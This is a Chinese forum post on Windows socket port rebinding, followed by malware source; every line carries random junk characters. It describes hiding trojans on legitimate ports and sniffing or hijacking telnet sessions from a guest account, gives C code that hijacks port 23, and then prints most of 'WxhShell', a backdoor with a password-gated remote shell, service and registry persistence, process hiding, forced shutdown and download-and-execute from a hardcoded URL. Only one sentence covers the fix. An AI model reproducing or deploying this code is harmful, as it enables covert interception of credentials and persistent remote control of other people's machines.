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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?uiQ'}   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G?`x$UU  
RfM uWo:  
  saddr.sin_family = AF_INET; 8V]oR3'  
?$:;hGO.<~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7F=Xn@ _  
EKwA1,Xz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); : 5=E> !  
X}!r4<;(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !sbKJ+V7  
s*blZdP  
  这意味着什么?意味着可以进行如下的攻击: HkgmZw,  
X^pxu6nm-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,VtrQb)Yf  
oSDx9%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Uwd^%x*  
=v (MdjwFl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G|WO  
v\LcZt`}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m@qM|%(0x  
z?a<&`W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0H|U9  
ve#*qz Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =e<;B_ ~.  
y1zNF$<q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W`$D*X0*o  
|(mr&7O  
  #include ! y1]S .;  
  #include IYJS>G%*  
  #include 8A|{jH74  
  #include    W>ZL[BQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C&d%S|:IR  
  int main() \dIc_6/D1  
  { co <ATx  
  WORD wVersionRequested; ]6PX4oK_t  
  DWORD ret; A (:7q4  
  WSADATA wsaData; %TO=]>q  
  BOOL val; %D::$,;<<  
  SOCKADDR_IN saddr; ^iWcuh_n  
  SOCKADDR_IN scaddr; }8+rrzMUB  
  int err; kPh;SCr{  
  SOCKET s; &3jq'@6  
  SOCKET sc; [gZz'q&[)  
  int caddsize; hWzjn5w3  
  HANDLE mt; . kv/db  
  DWORD tid;   37 #|X*L  
  wVersionRequested = MAKEWORD( 2, 2 ); KK}?x6wV0,  
  err = WSAStartup( wVersionRequested, &wsaData ); =N _7DT  
  if ( err != 0 ) { P|rsq|',  
  printf("error!WSAStartup failed!\n"); @@!Mt~\  
  return -1; h"mG\xi  
  } 41pk )8~pt  
  saddr.sin_family = AF_INET; l~f>ve|  
   81O\BO.T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u!&w"t61Nd  
OHz>B!`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /zB;1%m-  
  saddr.sin_port = htons(23); H(eGqVAq,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tb%u<jY  
  { uxbDRlOS  
  printf("error!socket failed!\n"); aD2+9?m  
  return -1; Jd].e=]pN  
  } kG =nDy  
  val = TRUE; rZ.,\ X_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kh11Y1Q0d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qb rf;`  
  { yMdAe>@  
  printf("error!setsockopt failed!\n"); @uIY+_E40g  
  return -1; lq4vX^S  
  } 1l@gZI12#/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U#o5(mK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?dWfupO{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $O n  
/}_OCuJJ,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -jBk  
  { fS( )F*J  
  ret=GetLastError(); KNR_upO8  
  printf("error!bind failed!\n"); .zm'E<  
  return -1; UfE41el:  
  } f zu#!  
  listen(s,2); q&eUw<(F  
  while(1) M<f=xY2$v  
  { 2TR l @  
  caddsize = sizeof(scaddr); >JN K06T  
  //接受连接请求 qr5ME/)z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b!>w4MPe  
  if(sc!=INVALID_SOCKET) Ihe/P {t]J  
  { /+FZDRf!r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZI<p%IQ   
  if(mt==NULL) W*'gqwM&  
  { |2yTt*!-r  
  printf("Thread Creat Failed!\n"); &9Vm3X  
  break; $VX<UK$|s  
  } TEgmE9^`)7  
  } ;%Z%]nIS  
  CloseHandle(mt); j Hd <*  
  } %h "+J  
  closesocket(s); ^7l.!s#$b  
  WSACleanup(); [+=h[DC  
  return 0; V;b^b5yZ>  
  }   _g%Wx?K9  
  DWORD WINAPI ClientThread(LPVOID lpParam) ELx?ph-9  
  { m?Gb5=qo  
  SOCKET ss = (SOCKET)lpParam; !&~8j7{  
  SOCKET sc; ?V6+o`bm  
  unsigned char buf[4096]; MoKGnb  
  SOCKADDR_IN saddr; G4!$48  
  long num; (#w8/@JxF  
  DWORD val; Z19d Ted33  
  DWORD ret; UOWOOdWS B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $N7:;X"l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @ 2mJh^cj  
  saddr.sin_family = AF_INET; zTFfft<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -0KQR{LI  
  saddr.sin_port = htons(23); *^'$YVd#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _$OhV#LKG  
  { #}^ kMD >  
  printf("error!socket failed!\n"); jg ~;s  
  return -1; Vt_NvPB`  
  } 6B4s6  
  val = 100; vXUrS+~x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {C=d9z~:  
  { 4KB) UPW  
  ret = GetLastError(); jV_Eyi3  
  return -1; m"B)%?C#  
  } 2<$C6J0HM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5t$ZEp-  
  { (n&Hjz,Fv  
  ret = GetLastError(); b"Hg4i)  
  return -1; $qN+BKd]3  
  } cJ 5":^O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i!/V wGg  
  { Z`fm;7NiVG  
  printf("error!socket connect failed!\n"); *+p9u 1B5  
  closesocket(sc); ;SBM7fwRk  
  closesocket(ss); Hv>C#U  
  return -1; ^s@?\v  
  } 5S PGv}if  
  while(1) wW4/]soM  
  { e+"r L]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 opz.kP[e,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H6<\7W89y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uJ S+;H  
  num = recv(ss,buf,4096,0); jW6~^>S  
  if(num>0) A9lnQCsJ  
  send(sc,buf,num,0); Sd]`I)  
  else if(num==0) xUYUOyV  
  break; Pnb?NVP!^9  
  num = recv(sc,buf,4096,0); Y(WX`\M97  
  if(num>0) .tB[8Y=J  
  send(ss,buf,num,0);  D7%`hU  
  else if(num==0) S3-3pJ]~Zk  
  break; aHKv*-z-  
  } KZn\ iwj  
  closesocket(ss); $'}:nwq6x  
  closesocket(sc); + M2|-C  
  return 0 ; V@jR8zv|_  
  } )W&H{2No  
4|fI9.  
Rv=(D^F,  
========================================================== [guJd";  
~4th;#'  
下边附上一个代码,,WXhSHELL @?_<A%hz  
Q!Rknj 2  
========================================================== 3=!\>0;E-  
V0mWY!i  
#include "stdafx.h" Y_&D W4  
z JWh  
#include <stdio.h> I:s#,! >  
#include <string.h> wVCZ=\L}  
#include <windows.h> Lwgk}!KR  
#include <winsock2.h> sygAEL;.  
#include <winsvc.h> }q-_|(b;  
#include <urlmon.h> DSyfF&uC  
EfY|S3Av  
#pragma comment (lib, "Ws2_32.lib") m#+0uZm(  
#pragma comment (lib, "urlmon.lib") ]|[,N>  
u\zRWX  
#define MAX_USER   100 // 最大客户端连接数 Q4 Mp[  
#define BUF_SOCK   200 // sock buffer C=}YKsi|R|  
#define KEY_BUFF   255 // 输入 buffer u"-q"0  
^9eJ)12pK  
#define REBOOT     0   // 重启 CuPZ0  
#define SHUTDOWN   1   // 关机 9;u$a^R.  
$b;9oST  
#define DEF_PORT   5000 // 监听端口 }p0|.Qu9  
]}R\[F (_%  
#define REG_LEN     16   // 注册表键长度 50Z$3T  
#define SVC_LEN     80   // NT服务名长度 n~ \"W  
BnH< -n_  
// 从dll定义API heiIb|z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d?_Bll"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5nIm7vlQm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $L>tV='  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8$<jd^w  
fU_itb(  
// wxhshell配置信息 [QA@XBy6  
struct WSCFG { 2.O;  
  int ws_port;         // 监听端口 MWGW[V;  
  char ws_passstr[REG_LEN]; // 口令 Q9)/INh  
  int ws_autoins;       // 安装标记, 1=yes 0=no U3MfEM!x  
  char ws_regname[REG_LEN]; // 注册表键名  ^G{3x  
  char ws_svcname[REG_LEN]; // 服务名 gq`gitu0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xd\k;nq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w> `3{MTQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j{EN %  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vINm2%*zJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $trvNbco  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]ERPWW;^  
Ia:n<sZU  
}; 1]#qxjZ~  
[;II2[5 ,  
// default Wxhshell configuration zDY!0QZLF\  
struct WSCFG wscfg={DEF_PORT, G 8OLx+!0e  
    "xuhuanlingzhe", $O,$KAC  
    1, 2SEfEkk  
    "Wxhshell", <jXXj[M2  
    "Wxhshell", # )-Kf  
            "WxhShell Service", 6sBS;+C  
    "Wrsky Windows CmdShell Service", LhC%`w  
    "Please Input Your Password: ", C5#3c yf*B  
  1, p=jD "lq  
  "http://www.wrsky.com/wxhshell.exe", wI\v5&X-B  
  "Wxhshell.exe" k'Fc:T8:~5  
    }; B e"D0=<  
=mYY8c Yl  
// 消息定义模块 )s1W)J?8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tsR\c O~/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F>E'/r*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y/rmxQtP  
char *msg_ws_ext="\n\rExit."; 1pogk0h.:  
char *msg_ws_end="\n\rQuit."; N~g @  
char *msg_ws_boot="\n\rReboot..."; t8 g^W K  
char *msg_ws_poff="\n\rShutdown..."; hv te)  
char *msg_ws_down="\n\rSave to "; m/3b7c@r  
B<(v\=xZ  
char *msg_ws_err="\n\rErr!"; `s(T (l  
char *msg_ws_ok="\n\rOK!"; ZWaHG_ U)  
.)|r!X  
char ExeFile[MAX_PATH]; =Y>_b 2  
int nUser = 0; ['j_W$8n  
HANDLE handles[MAX_USER]; 61>@-55k9  
int OsIsNt; oe,L&2Jz@  
Ej>5PXp'2  
SERVICE_STATUS       serviceStatus; l'HrU 1_7Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gJ cf~@s  
Am&/K\O  
// 函数声明 Zp]{e6J  
int Install(void); +{N LziO  
int Uninstall(void); =xScHy{$  
int DownloadFile(char *sURL, SOCKET wsh); B ?96d'A  
int Boot(int flag); lDd+.44V:  
void HideProc(void); |H 0+.f;  
int GetOsVer(void); Bh?K_{e  
int Wxhshell(SOCKET wsl); i6M_Gk}  
void TalkWithClient(void *cs); Au,xIe!t  
int CmdShell(SOCKET sock); msOk~ZPE6\  
int StartFromService(void); OoTMvZP[  
int StartWxhshell(LPSTR lpCmdLine); vBAds  
7H~StdL/>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i]!CH2\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UbKdB  
TWkuR]5  
// 数据结构和表定义 o%X@Bz  
SERVICE_TABLE_ENTRY DispatchTable[] = :a#Mq9ph!  
{ H Yt& MK  
{wscfg.ws_svcname, NTServiceMain}, >u#c\s  
{NULL, NULL} S83wAr9T  
}; 8xzEbRNJ)  
SbU=Lkx#  
// 自我安装 YpMQY-n  
int Install(void) &NiDv   
{ Dz;^'   
  char svExeFile[MAX_PATH]; K*jV=lG  
  HKEY key; Y,z15i3j?  
  strcpy(svExeFile,ExeFile); pB;)H ii\  
.dwb@$  
// 如果是win9x系统,修改注册表设为自启动 6T0[ ~@g5  
if(!OsIsNt) { 9MA/nybI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v`evuJ\3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YqwDvJWX  
  RegCloseKey(key); gE'b.04Y9i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .w2X24Mmb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _!6~o>  
  RegCloseKey(key); OnFx8r:q@%  
  return 0; AHX_I  
    } 4HEp}Y"}V  
  } VE1 B"s</  
} RGh `=D/yE  
else { jrT5Rw_}q  
F }l_=  
// 如果是NT以上系统,安装为系统服务 Kg^L 4Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q@1!v  
if (schSCManager!=0) ZOvMA]Rf  
{ F M:ax{  
  SC_HANDLE schService = CreateService ^;4nHH7z-,  
  ( Ex^|[iV  
  schSCManager, 6U)Lhf\'o  
  wscfg.ws_svcname, "MZj}}l  
  wscfg.ws_svcdisp, ;Q>(%"z};  
  SERVICE_ALL_ACCESS, m:A 7*r[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pn?c6K vO  
  SERVICE_AUTO_START, 10xo<@l  
  SERVICE_ERROR_NORMAL, <kIg>+  
  svExeFile, v]+,kbT  
  NULL, } _Yk.@J5  
  NULL, {tn%HK">  
  NULL, .6S]\dp7~  
  NULL, NY(c4fzl  
  NULL zB`)\  
  ); aY7kl  
  if (schService!=0) P [-2^1P"  
  { 5\/h3 i"I  
  CloseServiceHandle(schService); rSDS9Vf(  
  CloseServiceHandle(schSCManager); c-8Pc ]+g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !m(5N4:vV  
  strcat(svExeFile,wscfg.ws_svcname); z 17  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TZL)jf hj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e!wBNcG2  
  RegCloseKey(key); f.,ozL3*  
  return 0; (:W=8G,p  
    } -N+'+  
  } w. exLC  
  CloseServiceHandle(schSCManager); v{9< ATi  
} M?pu7wa  
} '}h[*IB}5  
qg?O+-+  
return 1; Fn0Rq9/@  
} /Y|oDfv  
tkU"/$Vi\  
// 自我卸载 QHnk@ R!  
int Uninstall(void) ?h4-D:!$L  
{ vQCRs!A  
  HKEY key; F3[3~r  
PW)XDo7  
if(!OsIsNt) { vhiP8DQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aR30wxW&)  
  RegDeleteValue(key,wscfg.ws_regname); f;M7y:A8q,  
  RegCloseKey(key); m5Gt8Z 6a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #UGm/4C  
  RegDeleteValue(key,wscfg.ws_regname); bj^YB,iSM  
  RegCloseKey(key); z OkUR9  
  return 0; tj@IrwC^e"  
  } 5at\!17TY  
} ;i|V++$_  
} 6Ouy%]0$I3  
else { ._JM3o}F  
ZZqImB.Cz6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )u~LzE]{_  
if (schSCManager!=0) Xao 0cb.R  
{ s>Xx:h6m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {'P7D4w  
  if (schService!=0) H: q(T >/w  
  { dE9xan  
  if(DeleteService(schService)!=0) { OpeK-K  
  CloseServiceHandle(schService); WF#eqU*&  
  CloseServiceHandle(schSCManager); FaO=<jYi  
  return 0; HVG9 C$  
  } 2@WF]*Z  
  CloseServiceHandle(schService); `h+ia/  
  } IKSe X  
  CloseServiceHandle(schSCManager); G3vKA&KZ  
} -Gjz;/s%XH  
} qD:3;85  
bf ]W_I]B  
return 1; $r})j~c  
} M;*f(JY$  
bm9@A]yP  
// 从指定url下载文件 n`<YhV  
int DownloadFile(char *sURL, SOCKET wsh) %|md0  
{ 3uA%1 E  
  HRESULT hr; .zf#S0y%(  
char seps[]= "/"; aV3:wp]Gn  
char *token; !IlsKMZ  
char *file; a!YpSFr  
char myURL[MAX_PATH];  mD`v>L  
char myFILE[MAX_PATH]; *ZP$dQ  
cSy{*K{B  
strcpy(myURL,sURL); '&4W@lvyz  
  token=strtok(myURL,seps); I\J ^@&JE  
  while(token!=NULL) _IiTB  
  { {p&M(W]  
    file=token; *cn,[  
  token=strtok(NULL,seps); !ckmNE0  
  } dbF?#s~u  
!C>}j* 4  
GetCurrentDirectory(MAX_PATH,myFILE); "{-jZdq'  
strcat(myFILE, "\\"); *{|{T_H:  
strcat(myFILE, file); mk#xbvvG  
  send(wsh,myFILE,strlen(myFILE),0); ZaYux-0]kF  
send(wsh,"...",3,0); v:0.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &`hx   
  if(hr==S_OK) 0 =#)-n  
return 0; h6c0BmS{1  
else 1s5F jD?M  
return 1; lJHV c"*/  
WO{V,<;  
} hd*bPj ;  
Kp[ F@A#  
// 系统电源模块 Ul#||B .c{  
int Boot(int flag) 6}bUX_!&s  
{ ht _fbh(l  
  HANDLE hToken; P)bS ;w\(Y  
  TOKEN_PRIVILEGES tkp; !#P|2>>u  
63R?=u@  
  if(OsIsNt) { _kR);\V.8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yxq+<A4,a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .9X,)^D  
    tkp.PrivilegeCount = 1; d%tF~|#A%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K^0cL%dB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KICy! "af  
if(flag==REBOOT) { wWV`k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oGz-lO{lt  
  return 0; ()L[l@m  
} [:Kl0m7  
else { gaeMcL_^a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8!87p?Mz  
  return 0; R_iQLBrd  
} 3Z.<=D  
  } &K Ti[  
  else { Qu4Bd|`(k  
if(flag==REBOOT) { et[n;nl>V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) os/_ObPiX  
  return 0; O3, IR1  
} yu8xTh$:  
else { $RA8U:Q!1e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nm;(M =  
  return 0; Hrb67a%b  
} (80 Tbi~+  
} 7P!<c/ E  
{OHaI ;  
return 1; YCJcDab  
} {s^vAD<~x3  
\va'>?#o1  
// win9x进程隐藏模块 (' yBIb\ue  
void HideProc(void) p'PHBb8I  
{ OhUEp g[  
aKi&2>c5>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9I3vW]0x[  
  if ( hKernel != NULL ) uLok0"}  
  { @uru4>1_dy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ktQMkEj#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YK(I '  
    FreeLibrary(hKernel); ]P lD e8  
  } ~dkN`1$v  
%mLQ'$  
return; bvVEV  
} -"m4 A0  
l)@Zuh  
// 获取操作系统版本 alu3CE  
int GetOsVer(void) Q4;eN w  
{ r3.A!*!  
  OSVERSIONINFO winfo; M[aF3bbN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1eiV[z$?  
  GetVersionEx(&winfo); M'Fa[n*b?!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Yu1ZuIR  
  return 1; JIeKp7;^  
  else >,JLYz|</  
  return 0; xqV>m  
} 7S"W7O1>  
.Pz( 0Y  
// 客户端句柄模块 x\/N09  
int Wxhshell(SOCKET wsl) px`o.%`'  
{ 6|# +  
  SOCKET wsh; f+*wDH  
  struct sockaddr_in client; tl.I:A5L  
  DWORD myID; $nX4!X  
$F> #1:=v<  
  while(nUser<MAX_USER) sfLH[Q?  
{ 3awh>1N2 W  
  int nSize=sizeof(client); ;%u'w;sgq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +C`h*%BW  
  if(wsh==INVALID_SOCKET) return 1; y_aKW4L+  
gWlv;oq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WJCh{Xn%*  
if(handles[nUser]==0) uK_Q l\d  
  closesocket(wsh); T)QZ9a  
else lHg&|S&J  
  nUser++; /{|<3CEe  
  } cM9z b6m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G8Hj<3`  
] T `6Hz!  
  return 0; y]1:IJL2;  
} TRB)cJZ?  
if|j)h&  
// 关闭 socket KC@F"/h`/  
void CloseIt(SOCKET wsh) aD5jy  
{ AGxtmBB;  
closesocket(wsh); Y\CR*om!W  
nUser--; dy>iIc>  
ExitThread(0); RL0#WBR  
} 014p= W  
*{3&?pxx  
// 客户端请求句柄 hYm$Sx(=  
void TalkWithClient(void *cs) Q@M>DA!d^V  
{ gu'Yk  
EN OaC  
  SOCKET wsh=(SOCKET)cs; ?fO 2&)r  
  char pwd[SVC_LEN]; 2.Kbj^  
  char cmd[KEY_BUFF]; G$hH~{Y$  
char chr[1]; y^M ~zOe  
int i,j; -68E]O  
xLUgbql-  
  while (nUser < MAX_USER) { jt({@;sU[<  
q(tdBd'o6  
if(wscfg.ws_passstr) { K|"97{*|2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UG)XA-ez  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qU ESN!  
  //ZeroMemory(pwd,KEY_BUFF); f-Yp`lnn.d  
      i=0; Oy U[(  
  while(i<SVC_LEN) { XaFu(Xu7  
>.P/fnvJ  
  // 设置超时 ~g&FeMo  
  fd_set FdRead; -!X,M DO  
  struct timeval TimeOut; T6 K?Xr{_  
  FD_ZERO(&FdRead); aSu6SU  
  FD_SET(wsh,&FdRead); ifo^ M]v  
  TimeOut.tv_sec=8; *-KgU'u?  
  TimeOut.tv_usec=0; d%IM`S;fh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O' 5xPJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T#L/HD  
*3,GQ%~/z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x3X^\ Ig  
  pwd=chr[0]; RTHe#`t  
  if(chr[0]==0xd || chr[0]==0xa) { z(-j%?  
  pwd=0; AOh\%|}  
  break; v0~'`*|&  
  } =(!&8U9  
  i++; p&Os5zw;|  
    } D{%l 4og  
w Pk\dyP  
  // 如果是非法用户,关闭 socket zli@XZ#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /h)_Q;35S;  
} ]Q?`|a+i  
H9d! -9I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mq!vu!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :>@6\    
(}$pf6s  
while(1) { ;0)|c}n+.5  
}N^A (`L  
  ZeroMemory(cmd,KEY_BUFF); Idy{(Q  
R`)^eqB  
      // 自动支持客户端 telnet标准   PEKU  
  j=0; 0?]Y^:  
  while(j<KEY_BUFF) { $L~?!u&N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J>H$4t#HX  
  cmd[j]=chr[0]; {'.[N79xP  
  if(chr[0]==0xa || chr[0]==0xd) { k!{0ku}]  
  cmd[j]=0; 4Dd@&N  
  break; xY3 KKje  
  } pS1f y]  
  j++; z#$>f*b  
    } PL+j;V(<  
r2KfZ>tWg"  
  // 下载文件 -vRZCIj!  
  if(strstr(cmd,"http://")) { r&^xg`i[z>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h .A@o#x  
  if(DownloadFile(cmd,wsh)) RmR-uQU-c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )<]*!  
  else 3LxhQVx2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JG]67v{F  
  } Ts+S>$  
  else { m7GM1[?r  
P;A9t#\  
    switch(cmd[0]) { sj"zgE)  
  U Bo[iZ|%  
  // 帮助 !=C74$TH  
  case '?': { :h4Nfz(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q9cN2|:  
    break; \Vc-W|e  
  } @ m' zm:  
  // 安装 byT@O:fL  
  case 'i': { z0@{5e$#Y  
    if(Install()) oWJ0>)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Z2fVz~9  
    else aan)yP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O{4G'CgN(  
    break; $#b@b[h<w  
    } :\]TAQd-  
  // 卸载 T^"-;  
  case 'r': { 6c[&[L%  
    if(Uninstall()) ~,*=j~#h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gpIq4Q<  
    else {S+  $C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hkifd4#  
    break; +prr~vgE  
    } 3RwDIk?>%  
  // 显示 wxhshell 所在路径 rA=iBb3`  
  case 'p': { nUp, %z[  
    char svExeFile[MAX_PATH]; ~\UH`_83[  
    strcpy(svExeFile,"\n\r"); anM]khs?  
      strcat(svExeFile,ExeFile); E%B:6  
        send(wsh,svExeFile,strlen(svExeFile),0); ;x]CaG)f  
    break; K\bA[5+N  
    } ,Pq@{i#  
  // 重启 6~:eO(pK l  
  case 'b': { 5$Q}Zxh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kjS9?>i  
    if(Boot(REBOOT)) 5,i0QT"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PVNDvUce  
    else { EFd9n  
    closesocket(wsh); !CnkG<5z>  
    ExitThread(0); 1FkS$ j8:  
    } i4Ps#R_wx  
    break; &bIE"ZBjt  
    } LqDj4[}  
  // 关机 !=-{$& {  
